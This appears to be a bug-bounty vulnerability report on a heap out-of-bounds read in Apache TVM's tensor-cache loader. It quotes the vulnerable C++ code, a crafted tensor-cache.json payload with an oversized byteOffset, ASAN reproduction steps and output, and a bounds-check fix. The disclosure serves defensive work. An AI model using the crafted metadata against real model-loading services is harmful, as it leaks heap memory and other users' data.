tvm-poc-F4 / huntr_report.md
0xiviel's picture
Upload folder using huggingface_hub
50bbe08 verified
|
Raw
History Blame Contribute Delete
7.47 kB

Heap Buffer Overflow READ in TensorCache via Unvalidated byte_offset

Summary

A heap buffer overflow READ vulnerability exists in TensorCacheMetadata::FileRecord::ParamRecord::Load() (src/runtime/vm/tensor_cache_support.cc:159,165) due to missing bounds validation of byte_offset and nbytes values from the attacker-controlled tensor-cache.json metadata. When byte_offset + nbytes exceeds the size of the raw data buffer, memcpy reads past the heap allocation, leaking adjacent heap memory.

  • CWE-125: Out-of-bounds Read
  • CVSS 3.1: 7.5 (High) — Network/Low/None/Unchanged/High/None/None
  • Affected version: latest main (commit 7e36a1ed8b6ed95f8fbf7c9cda7a9b9f8d806445)

Vulnerability Details

Affected file: src/runtime/vm/tensor_cache_support.cc, function ParamRecord::Load(), lines 152–168

Vulnerable code:

Tensor TensorCacheMetadata::FileRecord::ParamRecord::Load(
    Device device, const std::string* raw_data,
    ffi::Optional<Tensor>* staging_buffer) const {
  Tensor arr = Tensor::Empty(shape, dtype, device);
  if (dtype == DataType::Float(32) && format == "f32-to-bf16") {
    std::vector<uint16_t> buffer(nbytes / 2);
    std::vector<uint32_t> decoded(nbytes / 2);
    std::memcpy(buffer.data(),
                raw_data->data() + byte_offset,       // line 159 — OOB source!
                nbytes);
    // ...
  } else {
    CopyTensorFromBytes(arr,
                        raw_data->data() + byte_offset, // line 165 — OOB source!
                        nbytes, staging_buffer);
  }
}

Root cause: Zero bounds checking on JSON metadata

Both byte_offset and nbytes are read directly from the attacker-controlled tensor-cache.json:

result.nbytes = json["nbytes"].cast<int64_t>();        // line 69
result.byte_offset = json["byteOffset"].cast<int64_t>(); // line 70

The file-level check CHECK_EQ(this->nbytes, raw_data_buffer->length()) at line 177-178 only validates the file record's total nbytes against the loaded binary file size. Individual parameter records within the file have their own byte_offset and nbytes that are completely unchecked against the actual data.

Exploitation:

For raw_data.size() = 300, byte_offset = 200, nbytes = 200:

  • memcpy source: raw_data + 200, reading 200 bytes
  • Source range: [200, 400), but buffer only has [0, 300) → 100 bytes OOB READ

This affects BOTH code paths:

  • bf16 path (line 159): memcpy(buffer.data(), raw_data->data() + byte_offset, nbytes)
  • raw path (line 165): CopyTensorFromBytes(arr, raw_data->data() + byte_offset, nbytes, ...)

Impact

  • Heap buffer overflow READ with attacker-controlled size and offset
  • Leaks heap memory contents (pointers, other parameters, secrets) into loaded tensor data
  • In shared inference services, can leak other users' data from adjacent heap
  • The attacker controls both byte_offset and nbytes — can target specific heap offsets
  • No crash in non-ASAN builds — silent information disclosure

Attack Vector

TVM compiled models are distributed as directories with tensor-cache.json + binary shard files. An attacker crafts the metadata with a large byteOffset or nbytes value:

{
  "records": [{
    "dataPath": "params_shard_0.bin",
    "format": "raw-shard",
    "nbytes": 300,
    "records": [{
      "name": "leak_param",
      "shape": [50],
      "dtype": "float32",
      "format": "f32-to-bf16",
      "nbytes": 200,
      "byteOffset": 200
    }]
  }]
}

Entry points:

  1. vm.builtin.tensor_cache.load(cache_path) → ParamRecord::Load()
  2. MLC-LLM model loading (reads from model directory)
  3. runtime.disco.ShardLoader for distributed inference

Steps to Reproduce

1. Build TVM with AddressSanitizer

git clone --recursive https://github.com/apache/tvm.git
cd tvm && mkdir build && cd build
cmake .. -DCMAKE_CXX_FLAGS="-fsanitize=address -O0 -g" \
         -DCMAKE_C_FLAGS="-fsanitize=address -O0 -g" \
         -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
         -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
make -j$(nproc)

2. Run the PoC

python3 poc.py           # generates malicious model directory

3. Observe ASAN crash

==287291==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c5a0140086d
READ of size 200 at 0x7c5a0140086d thread T0
    #0 memcpy
    #1 tvm::runtime::vm::TensorCacheMetadata::FileRecord::ParamRecord::Load()
       /tmp/tvm/src/runtime/vm/tensor_cache_support.cc:159

0x7c5a0140086d is located 0 bytes after 301-byte region [0x7c5a01400740,0x7c5a0140086d)
SUMMARY: AddressSanitizer: heap-buffer-overflow tensor_cache_support.cc:159

ASAN Output (Full)

[*] raw_data size = 300
[*] byte_offset = 200
[*] nbytes = 200
[*] memcpy source: raw_data + 200, size 200
[*] OOB READ: 100 bytes past raw_data allocation
[*] Calling ParamRecord::Load...
=================================================================
==287291==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c5a0140086d at pc 0x7f3a0f917ab7 bp 0x7ffc136fa8e0 sp 0x7ffc136fa0a0
READ of size 200 at 0x7c5a0140086d thread T0
    #0 0x7f3a0f917ab6 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0x7f3a0bc85c8e in tvm::runtime::vm::TensorCacheMetadata::FileRecord::ParamRecord::Load(DLDevice, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const*, tvm::ffi::Optional<tvm::runtime::Tensor, void>*) const /tmp/tvm/src/runtime/vm/tensor_cache_support.cc:159
    #2 0x555e4e4cda11 in main /tmp/tvm/poc_tensor_cache_read_oob.cc:40
    #3 0x7f3a02029f67  (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f67)
    #4 0x7f3a0202a024 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a024)

0x7c5a0140086d is located 0 bytes after 301-byte region [0x7c5a01400740,0x7c5a0140086d)
allocated by thread T0 here:
    #0 0x7f3a0f91abbb in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:86
    #1 0x555e4e4d638f in std::__new_allocator<char>::allocate() /usr/include/c++/15/bits/new_allocator.h:151
    #2 0x555e4e4d3b09 in std::__cxx11::basic_string<char>::_M_create() /usr/include/c++/15/bits/basic_string.tcc:164
    #3 0x555e4e4cd801 in main /tmp/tvm/poc_tensor_cache_read_oob.cc:30

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/tvm/src/runtime/vm/tensor_cache_support.cc:159
==287291==ABORTING

Suggested Fix

Add bounds validation at the beginning of ParamRecord::Load():

Tensor TensorCacheMetadata::FileRecord::ParamRecord::Load(
    Device device, const std::string* raw_data,
    ffi::Optional<Tensor>* staging_buffer) const {
  // Validate byte_offset and nbytes against raw_data
  ICHECK_GE(byte_offset, 0) << "Invalid negative byte_offset";
  ICHECK_GE(nbytes, 0) << "Invalid negative nbytes";
  ICHECK_LE(static_cast<size_t>(byte_offset + nbytes), raw_data->size())
      << "byte_offset(" << byte_offset << ") + nbytes(" << nbytes
      << ") exceeds raw data size(" << raw_data->size() << ")";

  Tensor arr = Tensor::Empty(shape, dtype, device);
  // ... rest of function

Environment

  • Repository: https://github.com/apache/tvm
  • Commit: 7e36a1ed8b6ed95f8fbf7c9cda7a9b9f8d806445
  • OS: Linux 6.18.5+kali-amd64
  • Compiler: g++ 15 with -fsanitize=address -O0 -g
  • Build: Debug, ASAN, no LLVM/CUDA